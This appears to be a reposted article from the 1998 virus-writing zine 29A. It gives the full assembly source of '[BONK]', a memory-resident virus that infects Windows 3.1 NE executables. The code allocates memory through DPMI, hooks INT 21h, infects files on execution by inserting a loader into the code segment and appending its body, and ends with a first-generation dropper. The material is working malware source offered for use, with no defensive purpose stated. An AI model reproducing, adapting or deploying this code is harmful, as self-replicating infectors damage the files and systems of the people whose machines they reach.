Copy Link
Add to Bookmark
Report
29A Issue 03 04 01
;[BONK] Resident NE infector
;Copyright 1998 (c) Vecna
;
;This virus is a resident New Exe infector, infecting files for Windows 3.1x.
;The virus add a loader in the gap caused by sector alignment in the entry
;code segment, and the rest of the virus as a overlay in the end of file. It
;infect and goes memory resident using DPMI calls, and not API calls, like
;lesser infectors. We avoid the mediation of Windows, and talk directly with
;DPMI, our real host.
;
;When a infected file is executed, the virus loader take control. It first
;check for a already resident copy, then alloc some DPMI memory, creating the
;apropriated descriptors. The host file is open(the name of the host is stored
;at infection time, so, if it is renamed, the virus cant go memory resident)
;and the virus body is read to the allocated memory. Then the execution
;continue in the allocated memory, that hook interrupt 0x21, putting the
;original vector in the interrupt 0xFF.
;
;The virus hook check for self check and file execute. When a file is executed,
;the name is stored in the buffer, and the file is checked. Attributes, date
;and time are saved and restored after infection. To be infected, the file
;must have a NE header, not be a DLL, dont have more than 512 relocations in
;the code section, and have enought space to add the loader. The infected
;files are marked with the id string 1234h in the checksum field of the NE
;header. The gangload is killed, and this flag is reset.
.model tiny
.386
.code
org 0
virsize = vend - vstart
virmsize = mend - vstart
lsize = lend - lstart
vstart equ this byte
infectdsdx:
pusha
mov ax, 4300h
int 21h
jc er1
push cx ;save attr
push dx ;save name
mov ax, 4301h
xor cx, cx
int 21h ;zero attr
jc er2
mov ax, 3d02h
int 21h ;open file R/W
jc er2
mov bx, ax
mov ax, 5700h
int 21h
jc er3
push cx ;save date/time
push dx
mov ah, 3fh
mov cx, 40h
mov dx, offset doshdr
mov si, dx
int 21h ;read dos header
jc er4
cmp word ptr [si], 'ZM'
jne er4 ;exit if not a EXE
mov ax, 4200h
sub cx, cx
mov dx, [si+3ch]
mov [nestart], dx
int 21h ;seek new header
mov dx, si
mov ah, 3fh
mov cx, nesize
int 21h ;read new header
cmp [nemarker], 'EN'
jne er4 ;exit if a NE file
mov ax, 1234h
cmp word ptr [necrc], ax
mov word ptr [necrc], ax
je er4 ;exit if already infected
mov cx, [nesegtableshift]
mov ax, 1
shl ax, cl ;num of bytes is sector
cmp ax, lsize
jbe er4 ;sector too small
mov [segsize], ax
mov al, [netargetos]
cmp al, 2
je okOS
cmp al, 4
jne er4 ;no win prog
okOS:
mov al, [neapp_flags]
test al, 80h ;DLL?
jnz er4
mov cx, 8
mov ax, word ptr [necsip+2]
dec ax
mul cl
add ax, [nesegtableofs]
add ax, [nestart]
mov dx, ax
mov [segtable], ax ;save CODE entry table offset
mov ax, 4200h
xor cx, cx
int 21h
mov ah, 3fh
mov dx, offset csentry
mov si, dx
mov cx, 8
int 21h ;read CODE entry table
xor dx, dx
mov ax, [segsize]
mul [nesegsectorofs]
add ax, [nesegfileimagesz]
mov dx, 4200h
xchg ax, dx
sub cx, cx
int 21h ;seek end of code in section
push ax
push dx ;save insert pos
mov ax, [nesegfileimagesz]
xchg ax, word ptr [necsip]
mov [oldentry], ax ;set new IP and save old
sub ax, ax
mov [negangloadofs], ax
mov [negangloadsize], ax ;reset gangload area
and [neotherflags], not 1000b
test [nesegattr], 100000000b
jz norelocs
mov ah, 3fh
mov cx, 2
mov dx, offset n_relocs
int 21h ;read num of relocs
mov cx, word ptr [n_relocs]
shl cx, 3
mov [szreloc], cx ;size in bytes of reloc info
cmp cx, 512*8
ja pop2 ;too much for our buffer
mov ah, 3fh
mov dx, offset relocs
int 21h ;read relocs
norelocs:
mov ax, 4201h
cwd
sub cx, cx
int 21h ;get current pos
analise:
mov cx, [segsize]
div cx
sub cx, dx
cmp cx, lsize ;enought space for us
pop cx
pop dx
jb er4
mov ax, 4200h
int 21h
mov ah, 40h
mov dx, offset lstart
mov cx, lsize
int 21h ;write virus loader
test [nesegattr], 100000000b
jz writevirus
mov ah, 40h
mov dx, offset n_relocs
mov cx, [szreloc]
add cx, 2
int 21h ;write reloc info
writevirus:
mov ax, 4202h
cwd
sub cx, cx
int 21h ;seek to eof
mov ah, 40h
mov cx, virsize
sub dx, dx
int 21h ;write virus code
mov ax, 4200h
xor cx, cx
mov dx, [nestart]
int 21h ;seek NE header position
mov ah, 40h
mov dx, offset nehdr
mov cx, nesize
int 21h ;write NE header
mov ax, 4200h
xor cx, cx
mov dx, [segtable]
int 21h ;seek pos of CODE entry table
mov dx, offset csentry
add [nesegfileimagesz], lsize
add [nesegmemimagesize], lsize ;fix CODE entry table
mov ah, 40h
mov cx, 8
int 21h ;write CODE entry table
jmp er4
pop2:
add sp, 4 ;restore stack in error
er4:
pop dx
pop cx
mov ax, 5701h
int 21h ;restore date/time
er3:
mov ah, 3eh
int 21h ;close file
er2:
pop dx
pop cx
mov ax, 4301h
int 21h ;restore attr
er1:
popa
ret
db 13d
db '[BONK] by Vecna/29A (c) 1998', 13d
db 'New technology for old header formats...', 13d
lstart:
pusha
mov ax, 'BO'
int 21h
cmp ax, 'NK'
je installed
noinstalled:
push ds
push es
push cs
call over
return:
pop es ;a retf in mem bring us here
pop ds
installed:
popa
push 1234h
oldentry equ word ptr $-2
ret
baderror:
add sp, 1*2
reallybad:
add sp, 5*2
jmp return
over:
mov ax, 501h
mov cx, virmsize
xor bx, bx
push bx
push cx
push bx
push cx
int 31h ;alloc memory
jc baderror
push bx cx
sub ax, ax
mov cx, 1
int 31h ;create descriptor
mov bx, ax
mov ax, 7
pop dx cx
int 31h ;set descriptor base
mov ax, 8
pop dx
pop cx
int 31h ;set descriptor limit
mov ax, 9
mov cx, 255
int 31h ;set acess rights to code
pop dx
pop cx
push bx
push offset continue_high
push dx
push cx
mov ax, 0ah
int 31h ;get alias to code
pop cx
pop dx
mov bx, 8h
xchg bx, ax
int 31h ;set limit of data descriptor
push bx
call over_name
fname db 13 dup (0)
over_name:
pop dx
push cs
pop ds
mov ax, 3d00h
int 21h ;open host
jc reallybad
xchg ax, bx
mov ax, 4202h
mov cx, -1
mov dx, -virsize
int 21h ;seek virusbody
mov ah, 3fh
pop ds
xor dx, dx
mov cx, virsize
int 21h ;read main virus body
retf ;jmp to overlay part
lend:
vinto db 0
int21:
cmp byte ptr cs:[vinto], 1
je doold
cmp ax, 'BO' ;selfcheck?
jne noselfcheck
mov ax, 'NK'
iret
noselfcheck:
pusha
push ds
push es
cmp ax, 4b00h
jne no_exec ;infect on EXECUTE
push dx
mov ax, 0ah
mov bx, cs
int 31h
jc no_exec
mov es, ax
mov byte ptr es:[vinto], 1 ;recursive flag
mov bx, 8
xchg ax, bx
sub cx, cx
mov dx, offset virmsize
int 31h
cld
pop si
mov dx, offset fname
set_start:
mov di, dx
n_char:
lodsb ;get plain filename
cmp al, 'a'
jb noupcase
cmp al, 'z'
ja noupcase
and al, not 20h
noupcase:
stosb
or al, al
jz end_name
cmp al, '\'
jne n_char
jmp set_start
end_name:
push es
pop ds
call infectdsdx ;infect file
free_ldt:
mov byte ptr es:[vinto], 0
mov ax, 1
mov bx, es
int 31h
no_exec:
pop es
pop ds
popa
doold:
int 0ffh ;exec old int21
retf 2
continue_high:
mov ah, 3eh ;close file
int 21h
mov ax, 4
push cs
pop bx
int 31h ;lock code
mov ax, 204h
mov bl, 21h
int 31h ;get int21 vector
push dx
push cx
mov ax, 205h
mov bl, 21h
mov cx, cs
mov dx, offset int21
int 31h ;set new int21 vector
mov ax, 205h
mov bl, 0ffh
pop cx
pop dx
int 31h ;set int0ff to old int21
mov byte ptr ds:[vinto], 0
mov ax, 1
mov bx, ds ;free data descriptor
int 31h
retf ;return to loader
align 16
vend equ this byte
doshdr equ this byte
nehdr equ this byte
nemarker dw 0
nelinkerversion dw 0
neentrytableofs dw 0
neentrytablesize dw 0
necrc dd 0
neprog_flags db 0
neapp_flags db 0
neautodataseg dw 0
neheapsize dw 0
nestacksize dw 0
necsip dd 0
nesssp dd 0
nesegtablecount dw 0
nemodulecount dw 0
nenonressize dw 0
nesegtableofs dw 0
nerestableoff dw 0
neresnametableofs dw 0
nemodreftableofs dw 0
neimpnamestableofs dw 0
nenonresnametablefilepos dd 0
nemoventrypointcount dw 0
nesegtableshift dw 0
nerestablecount dw 0
netargetos db 0
neotherflags db 0
negangloadofs dw 0
negangloadsize dw 0
nesize equ $ -offset nehdr
csentry equ this byte
nesegsectorofs dw 0
nesegfileimagesz dw 0
nesegattr dw 0
nesegmemimagesize dw 0
nestart dw 0
segsize dw 0
segtable dw 0
szreloc dw 0
n_relocs dw 0
relocs db 512*8 dup (0)
mend equ this byte
;first generation dropper, just ignore
;infect BAIT.EXE in test dir
dropper:
mov ax, 3531h
int 21h
push es
push bx
push cs
pop ds
mov dx, offset _iret
mov ax, 2531h
int 21h
push cs
push cs
pop es
pop ds
mov dx, offset fname1
mov ax, 4b00h
call int21
pop dx
pop ds
mov ax, 2531h
int 21h
mov ax, 4c00h
int 21h
_iret:
mov ax, cs
iret
fname1 db 'c:\lixo\bait.exe',0
end dropper